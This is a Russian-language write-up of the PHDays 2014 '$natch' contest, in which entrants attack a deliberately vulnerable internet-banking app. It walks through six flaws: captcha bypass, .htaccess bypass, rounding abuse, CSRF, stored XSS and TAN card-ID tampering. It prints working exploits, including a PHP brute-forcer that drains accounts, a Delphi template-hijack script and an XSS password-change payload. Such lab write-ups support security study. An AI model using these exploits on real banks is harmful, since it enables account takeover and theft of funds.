Итак, пока живы воспоминания, опишем как проходил традиционный конкурс "$natch" (или как его ещё называют "Большой ку$h") в рамках конференции PHDays 2014. В этом году, на мой взгляд, организаторы существенно усложнили эксплуатирование уязвимостей, не только расширив их количество до 6, но и задействовав не самые очевидные и простые технологии для реализации эксплойтов. Образ для скачивания ДБО и скрипты были выложены за сутки до начала конференции, что как бы непрозрачно намекало, что времени на реверсинг и написание эксплойтов понадобится много. Впрочем, на мой взгляд, я допустил 2 ошибки при подготовке к этому конкурсу - поехал на конференцию со слабым нетбуком, который браузер то не всегда открывает (не хотелось таскаться с тяжестями) и сел за реверсинг и за написание эксплойтов всего лишь за 9 часов до начала самого конкурса. Тем не менее, часть уязвимостей была найдена, эксплойты частично написаны, так что начало конкурса я встретил во всеоружии. Начнём описание с очевидных технологий эксплуатирования уязвимостей. И первым, конечно же, идёт старый добрый брутфорс. Вообще разработчики встроили в ДБО каптчу, что, в приницпе, легко обходилось переходом в "мобильный" интерфейс и установкой нужного cookie. Application\Controller\AuthController.php Code: public function loginAction() { ... if ($request->isPost()) { $login = $request->getPost('login'); $password = $request->getPost('password'); $captcha = $request->getPost('captcha'); $return['login'] = $login; /** * Disable captcha on mobile interface */ if (!$mobile) { if (!isset($_SESSION['captcha']['code']) || ($captcha != $_SESSION['captcha']['code'])) { $return['captchaError'] = true; return $return; } } $result = $this->auth->authenticate($login, $password); if ($result == 1) { $this->redirect('/'); } elseif ($result == -1) { $return['loginError'] = true; } elseif ($result == 0) { $return['pwdError'] = true; } } Application\Controller\IndexController.php Code: ... public function switchInterfaceAction() { $request = $this->serviceManager->get('request'); if ($request->getCookie('mobileInterface')) { setcookie('mobileInterface', '', null, '/'); } else { setcookie('mobileInterface', 'true', null, '/'); } Соответственно, брутфорс упрощается донельзя. Приведенный далее эксплойт не только брутит аккаунты ДБО, но и автоматически проводит транзакции по переводу денежных средств на нужный счёт. Exploit #1 Code: <?php $login = '100001'; $account = '90107430600227300039'; $domain = '10.255.255.12'; $cookie_file = '/tmp/ibank_cookie'; function login($ch, $login, $password, $domain) { $postdata = http_build_query( array( 'login' => $login, 'password' => $password, ) ); curl_setopt_array($ch, array( CURLOPT_URL => $domain . '/auth/login', CURLOPT_POST => 1, CURLOPT_FOLLOWLOCATION => 1, CURLOPT_POSTFIELDS => $postdata, CURLOPT_COOKIE => 'mobileInterface=true', )); return curl_exec($ch); } function logout($ch, $domain) { curl_setopt_array($ch, array( CURLOPT_URL => $domain . '/auth/logout', CURLOPT_FOLLOWLOCATION => 0, CURLOPT_POST => 0, )); return curl_exec($ch); } @unlink($cookie_file); file_put_contents($cookie_file, "$domain\tFALSE\t/\tFALSE\t0\tmobileInterface\ttrue", FILE_APPEND | LOCK_EX); $ch = curl_init(); curl_setopt_array($ch, array( CURLOPT_HEADER => 0, CURLOPT_RETURNTRANSFER => 1, CURLOPT_COOKIEJAR => $cookie_file, CURLOPT_COOKIEFILE => $cookie_file, )); $passwords = array_map('rtrim', file('passwords.dict')); while (1) { $found = false; foreach ($passwords as $password) { $result = login($ch, $login, $password, $domain); if (strpos($result, 'Wrong password')) continue; if (strpos($result, 'User not found')) exit; $found = true; break; } if ($found) { $id = $login - 100000; curl_setopt_array($ch, array( CURLOPT_URL => $domain . '/payments/create', CURLOPT_POST => 0, )); $result = curl_exec($ch); if (!preg_match("~<option\s*value=\"(\d+)\">.*\(([0-9,\.]+)\s* Rub\)~msU", $result, $match)) continue; $sum = $match[2]; if ($sum < 1){ $login++; logout($ch, $domain); continue; } curl_setopt_array($ch, array( CURLOPT_URL => $domain . '/payments/create', CURLOPT_FOLLOWLOCATION => 1, CURLOPT_POST => 1, CURLOPT_POSTFIELDS => http_build_query(array( 'from' => $id, 'to' => $account, 'sum' => $sum, 'description' => 'phdays' )), )); $result = curl_exec($ch); preg_match("~/payments/delete/id/(\d+)~", $result, $match); $transaction_id = $match[1] ; curl_setopt_array($ch, array( CURLOPT_URL => $domain . '/payments/process/id/' . $transaction_id, CURLOPT_FOLLOWLOCATION => 0, CURLOPT_POST => 0, )); echo "From $id sum $sum\n"; $result = curl_exec($ch); } $login++; logout($ch, $domain); } Следующей найденной уязвимостью была возможность редактирования любых существующих платежных шаблонов через "операторское" меню. Вообще на само существование этой полу-админки намекал файл в основной директории. Application\Controller\OperatorContoller.php Code: ... public function editTemplateAction() { $transService = $this->serviceManager->get('TransactionService'); $userService = $this->serviceManager->get('userService'); $template = $transService->fetchTemplateById($this->request->getParam('id')); if (!$template) throw new Exception\TransactionTemplateNotFoundException(); $user = $userService->fetchById($template->getUserId()); $accounts = $userService->fetchUserAccounts($user); if ($this->request->isPost()) { $fromId = $this->request->getPost('from'); $found = false; foreach ($accounts as $account) { if ($account->getId() == $fromId) { $found = true; break; } } if (!$found) { throw new \Exception("Account not found"); } $template->exchangeArray(array( 'name' => $this->request->getPost('name'), 'from' => $fromId, 'to' => $this->request->getPost('to'), 'sum' => $this->request->getPost('sum'), )); if ($transService->updateTemplate($template)) { $this->redirect('/operator/userInfo/id/' . $template->getUserId()); } } return array( 'template' => $template, 'accounts' => $accounts, ); } Единственной проблемой было обойти .htaccess, запрещающий вход в меню оператора. Так как конкурс предполагал наличие ботов, которые будут постоянно совершать транзакции друг другу, был набросан необходимый алгоритм эксплойта. Соответсвенно для успешного эксплуатирования данной уязвимости эксплойт должен уметь 1) Обходить ограничение .htaccess 2) Отредактировать существующий шаблон 3) Циклически проходить по всем существующим шаблонам, так как другие участники конкурса тоже будут пытаться их постоянно изменять. Было найдено 2 варианта обхода ограничения .htaccess. Первый предполагал использование в запросе символов разного регистра (oPerator вместо operator), второй использование символов, принудительно вырезаемых сервером при нормализации запроса (operator$ вместо operator). По странной случайности, буквально за пару месяцев до конкурса я разрабатывал похожее приложение на Delphi, а так как портировать на PHP за отсутствием свободного времени не представлялось возможным, пришлось чуток менять исходник и использовать то, что есть. Expoit #2 Code: HTTPS:=TIdHTTP.create; SSL:=TIdSSLIOHandlerSocketOpenSSL.Create; HTTPS.IOHandler:=SSL; HTTPS.HandleRedirects:=true; HTTPS.ConnectTimeout:=1500000; HTTPS.AllowCookies:=true; cook:='mobileInterface=true; act=UserService.php; f=N; c=/var/www/Application/Service/'; HTTPS.Request.CustomHeaders.Add('Cookie: '+cook); AllTemplates:=TStringList.Create; try AllTemplates.Text:=HTTPS.Get(fsite); finally //FreeAndNil( Stream ); end; fullstr:=AllTemplates.Text; AllTemplates.Clear; repeat if pos('/operator/editTemplate/id/',fullstr)>0 then begin str:=Copy(fullstr,pos('/operator/editTemplate/id/',fullstr)+26,5); fullstr:=Copy(fullstr,pos('/operator/editTemplate/id/',fullstr)+32,1000000); Delete(str,pos('"',str),100); AllTemplates.Add(str); end; until (pos('/operator/editTemplate/id/',fullstr)<1); for i:=0 to AllTemplates.Count-1 do begin data:=TStringList.Create; data.Add('from='+AllTemplates.Strings[i]); data.Add('to='+mynomer); data.Add('sum=70'); data.Add('name=1'); try HTTPS.HandleRedirects:=false; HTTPS.Post('http://'+site+'/Operator/editTemplate/id/'+AllTemplates.Strings[i],data); except // end; end; Третья уязвимость заключалась в возможности перегонять денежные средства из RUB счета в USD счёт и наоборот с округлением суммы в большую сторону на стороне сервера. Таким образом, мы просто циклически гоняем деньги внутри нашего аккаунта, и за счёт "ошибки" разработчика, наш счёт постоянно увеличивается. Вообще данная уязвимость была неплохо описана Adrian Furtuna на конференции ZeroNights 2013 в докладе "Практическая эксплуатация уязвимостей округления в приложениях для интернет-банкинга» (доклад для изучения прикреплю в аттач). Полагаю, идею внедрения этой уязвимости разработчики почерпнули именно оттуда. Application\Service\TransactionService.php Code: ... public function createTransaction(User $user, Account $from, Account $to, $sum, $description) { if ($from->getUserId() != $user->getId()) throw new ForbiddenException(); if ($from->getId() == $to->getId()) throw new \Exception("Usage of same account for recipient and sender is not allowed."); $sum = round($sum, 2); if ($sum < 0.01) throw new \Exception("Sum of the transaction can't be less than 0.01"); $otpCode = ''; if ($user->getOtpMethod() == 'mtan') $otpCode = $this->generateMTanCode(); $confirmed = $user->getOtpMethod() == 'none' ? true : false; $query = "INSERT transactions VALUES(null,?,?,?,?,?,?,?)"; $this->db->query($query, $user->getId(), $from->getId(), $to->getId(), $sum, $otpCode, $confirmed, $description); $transaction = new Transaction(); $transaction->exchangeArray(array( 'id' => $this->db->lastInsertId(), 'user_id' => $user->getId(), 'from' => $from->getId(), 'to' => $to->getId(), 'sum' => $sum, 'otp_code' => $otpCode, 'confirmed' => $confirmed, 'description' => $description, )); return $transaction; } ... public function commitTransaction($transactionId, User $user) { $this->db->beginTransaction(); try { $sqlTransaction = "SELECT * FROM transactions WHERE id = ? AND confirmed = 1 FOR UPDATE"; $sth = $this->db->query($sqlTransaction, $transactionId); if (!$sth->rowCount()) throw new Exception\TransactionNotFoundException(); $transaction = new Transaction(); $transaction->exchangeArray($sth->fetch()); if ($transaction->getUserId() != $user->getId()) throw new ForbiddenException(); $accountFrom = $this->fetchAccountForUpdate($transaction->getFrom()); $accountTo = $this->fetchAccountForUpdate($transaction->getTo()); if ($accountFrom->getBalance() < $transaction->getSum()) throw new Exception\InsufficientFundsException(); $sum = $transaction->getSum(); [B]$balanceFrom = round($accountFrom->getBalance() - $sum, 2);[/B] $k = $accountFrom->getCurrency() . '>' . $accountTo->getCurrency(); $sum = $this->rates[$k] * $sum; $balanceTo = round($accountTo->getBalance() + $sum, 2); $query = "UPDATE accounts SET `balance` = ? WHERE id = ?"; $this->db->query($query, $balanceTo, $transaction->getTo()); $this->db->query($query, $balanceFrom, $transaction->getFrom()); $this->db->query("DELETE FROM transactions WHERE id = ?", $transactionId); } catch (\Exception $e) { $this->db->rollBack(); throw $e; } $this->db->commit(); $needShow = ($accountFrom->getUserId() != $accountTo->getUserId()); $this->addTransactionHistory($transaction, $needShow); } Уязвимость существует вследствие округления передаваемой суммы до 2 знаков после запятой. Code: $sum = round($sum, 2); К сожалению, о существовании этой уязвимости я узнал лишь после конкурса, поэтому эксплойта приложить не могу. Четвёртой уязвимостью была стандартная CSRF в форме смены пароля. При наличии XSS или каком-либо ещё факторе мы можем заставить целевой аккаунт сменить свой пароль на любой указанный нами. Application\View\templates\Auth\ChangePassword.phtml Code: <div class="row"> <div class="col-md-12"> <div class="page-header"> <h1>Change password</h1> </div> <? if(!empty($error)): ?> <div class="alert alert-error"><?= $this->escapeHtml($error) ?></div> <? endif; ?> <form class="form-horizontal" method="post" role="form"> <div class="form-group <? if(!empty($passwordError)) echo 'has-error' ?>"> <label class="col-sm-2 control-label" for="inputNewPassword">New password</label> <div class="col-sm-4"> <input type="password" name="password" class="form-control" id="inputNewPassword"> <? if(!empty($newPwdError)): ?> <span class="help-block">Can't be empty</span> <? endif; ?> </div> </div> <div class="form-group <? if(!empty($confirmError)) echo 'has-error' ?>"> <label class="col-sm-2 control-label" for="inputConfirmPassword">Confirm password</label> <div class="col-sm-4"> <input type="password" name="confirm" class="form-control" id="inputConfirmPassword"> <? if(!empty($confirmNewPwdError)): ?> <span class="help-block">Wrong password</span> <? endif; ?> </div> </div> <div class="form-group"> <div class="col-sm-offset-2 col-sm-4"> <button type="submit" class="btn btn-primary">Change</button> <button type="button" class="btn btn-default" onclick="history.go(-1); return false;">Back</button> </div> </div> </form> </div> </div> Application\Controller\AuthController.php Code: ... public function changePasswordAction() { if (!$this->auth->isAuthenticated()) $this->redirect('/'); $request = $this->serviceManager->get('request'); if ($request->isPost()) { $password = $request->getPost('password'); $confirm = $request->getPost('confirm'); $error = null; if (empty($password)) { $error = 'passwordError'; } elseif ($password != $confirm) { $error = 'confirmError'; } if ($error) { return array( $error => true ); } $this->auth->changePassword($password); $this->redirect('/'); } } Как не сложно заметить, никаких token при смене пароля не используется, а значит смена пароля подвержена уязвимости типа CSRF. Но сама по себе эта уязвимость мало что даёт, нам нужно было найти способ доставить её до адресата. И этот способ был найден! Пятая уязвимость - XSS при прохождении транзакции в поле description. Application\Service\TransactionService.php Code: ... public function addTransactionHistory(Transaction $transaction, $needShow = true) { $sql = "INSERT INTO transactions_history VALUES(?, ?, ?, ?, NOW(), ?, ?)"; $this->db->query($sql, $transaction->getId(), $transaction->getFrom(), $transaction->getTo(), $transaction->getSum(), $transaction->getDescription(), !$needShow); return $this; } Поле description попадает в БД без прохождения необходимой фильтрации. Ну казалось бы и ладно, лишь бы оно выводилось с учётом фильтрации или не выводилось нигде вообще... Но коварные разработчики внедрили "фичу" информирования клиентов банкинга о новых поступивших транзакциях, где как раз и выводится информация из поля description в чистом виде. Application\View\Helper\showIncome.php Code: <?php namespace Application\View\Helper; use Core\View\Helper\AbstractHelper; class ShowIncome extends AbstractHelper { public function __invoke(array $income) { $return = array(); foreach ($income as $item) { $string = "{$item['sum']} {$this->view->currencySymbol($item['currency'])} from {$item['from']}"; if (!empty($item['description'])) { $string .= "<i>({$item['description']})</i>"; } $return[] = $string; } $template = '<div class="alert alert-success"><strong>Income!</strong><br>%s</div>'; return sprintf($template, implode("<br>", $return)); } } Теперь-то мы и можем использовать эксплойт из двух частей: отправим транзакцию целевому аккаунту с ядовитым содержанием в поле description, предварительно начинив её эксплойтом принудительной смены пароля. Exploit #3 Code: <script>document.writeln('<iframe id="iframe" src="/auth/changePassword" width="0" height="0" onload="read()"></iframe>'); function read(){ var pass = 'BigBearHasYou'; var pass2 = 'BigBearHasYou'; document.writeln('<form width="0" height="0" method="post" action="/auth/changePassword">'); document.writeln('<input type="password" name="password" class="form-control" id="inputNewPassword" value="' + pass + '" /><br />'); document.writeln('<input type="password" name="confirm" class="form-control" id="inputConfirmPassword" value="' + pass2 + '" />'); document.writeln('<input type="submit" name="submit" value="" /><br/>'); document.writeln('</form>'); document.forms[0].submit.click(); } </script> Code: <script>document.writeln('<iframe id="iframe" src="/auth/logout" width="0" height="0"></iframe></script> У данного эксплойта есть пара недостатков: не используется функция принудительного разлогирования, указанная выше (то есть после получения ядовитой транзакции пользователь оставался залогированным и мог повторно сам сменить себе пароль); есть жёсткая зависимость от наличия CSRF в функции смены пароля; и самый неприятный - на целевом хосте может быть отключено использование JS. В таком случае наш эксплойт просто не отработает. Однако было зафиксировано несколько случаев положительного срабатывания эксплойта, что свидетельствует о том, что не все участники смогли обнаружить данную уязвимость.
Но и тут чего-то не хватает... Ну сменили мы пароль, ну захватили активную сессию. А как украсть деньги у участника, если все транзакции подтверждаются уникальными кодами с его карточки, выданной прямо перед началом конкурса? И вот тут обнаруживается последняя шестая уязвимость - подделка идентификатора карты и её кода, проверяемых сервером. Application\View\templates\Payments\confirmtan.phtml Code: <div class="row"> <div class="col-md-12"> <div class="page-header"> <h1>Confirm transaction</h1> </div> <form class="form-horizontal" method="post"> <div class="form-group"> <label class="col-md-2 control-label">From</label> <div class="col-md-4"> <p class="form-control-static"> <?= $this->escapeHtml($accountFrom->getNumber()) ?> </p> </div> </div> <div class="form-group"> <label class="col-md-2 control-label">To</label> <div class="col-md-4"> <p class="form-control-static"> <?= $this->escapeHtml($accountTo->getNumber()) ?> </p> </div> </div> <div class="form-group"> <label class="col-md-2 control-label">Sum</label> <div class="col-md-4"> <p class="form-control-static"> <?= $transaction->getSum() ?> <?= $this->currencySymbol($accountFrom->getCurrency()) ?> </p> </div> </div> <div class="form-group <? if (!empty($error)) echo 'has-error' ?>"> <label class="col-md-2 control-label" for="inputOtp"> Password #<?= $tan->getId() ?> <input type="hidden" name="card_id" value="<?= $tan->getCardId() ?>"> </label> <div class="col-md-4"> <input name="otp" type="text" class="form-control" id="inputOtp"> <? if (!empty($error)): ?> <span class="help-block">Wrong password</span> <? endif; ?> </div> </div> <div class="form-group"> <div class="col-md-offset-2 col-md-4"> <button type="submit" class="btn btn-primary">Confirm</button> <a href="/payments/delete/id/<?= $transaction->getId() ?>/" class="btn btn-danger">Delete</a> </div> </div> </form> </div> </div> Как видно из исходника - на сервер передаётся hidden-переменная cart_id, содержащая идентификатор проверяемой карты. Если подменить это значение на идентификатор своей карты, сервер спросит TAN-код именно вашей карты, а не карты того, в чей аккаунт вы залогинились вследствие предыдущего эксплойта. Application\Controller\PaymentsController.php Code: ... public function confirmTanAction() { $id = $this->request->getParam('id'); $transaction = $this->tService->fetchTransactionById($id); if ($this->user->getOtpMethod() != 'tan') throw new ForbiddenException(); if (!$transaction) throw new Exception\TransactionNotFoundException(); if ($transaction->getUserId() != $this->user->getId()) throw new ForbiddenException(); if ($transaction->getConfirmed()) $this->redirect('/payments/commit/id/' . $transaction->getId()); $userService = $this->serviceManager->get('userService'); $accountFrom = $userService->fetchAccountById($transaction->getFrom()); $accountTo = $userService->fetchAccountById($transaction->getTo()); $return = array( 'transaction' => $transaction, 'accountFrom' => $accountFrom, 'accountTo' => $accountTo ); if ($this->request->isPost()) { $cardId = $this->request->getPost('card_id'); $tan = $this->tService->fetchLastTan($cardId); if ($tan->getCode() == $this->request->getPost('otp')) { $tan->setUsed(true); $this->tService->updateTan($tan); $transaction->setConfirmed(true); $this->tService->updateTransaction($transaction); $this->redirect('/payments/commit/id/' . $transaction->getId()); } else { $return['error'] = true; } } else { $cardId = $this->user->getCardId(); $tan = $this->tService->fetchLastTan($cardId); } $return['tan'] = $tan; return $return; } Значение Card_ID просто берётся из POST запроса, и сверяется с случайным TAN-кодом карты с соответствующим идентификатором. В ходе конкурса как раз было продемонстрировано как "матрёшка" из трёх подряд уязвимостей привела к опустошению кошелька одного из участников. Ну что сказать, Браво Организаторам !!! Когда используются вот такие "логические" цепочки из уязвимостей - довести их завершение до логической концовки становится ещё интереснее. Ведь fail на любом этапе привёл бы к падению всей кампании. А это риск. И прямо дух захватывает от ожидания "большого ку$h-а". Спасибо всем, кто участвовал в конкурсе вместе со мной, кто болел за участников, организаторам за неповторимую атмосферу и не самые простые головоломки. Надеюсь, я увижусь со всеми Вами и в следующем году, ведь третье место только подстегнуло мой интерес к завоеванию Олимпа в данном конкурсе, тем более что все предпосылки к этому были. (c) BigBear, 2014 Напоследок, небольшое фото с итоговыми счетами всех участников. P.S. Исходники скриптов в аттаче, ссылка на доклад об округлении сумм в ДБО - http://2013.zeronights.ru/includes/docs/Adrian_Furtuna_-_Practical_exploitation_of_rounding_vulnerabilities_in_internet_banking_applications.pdf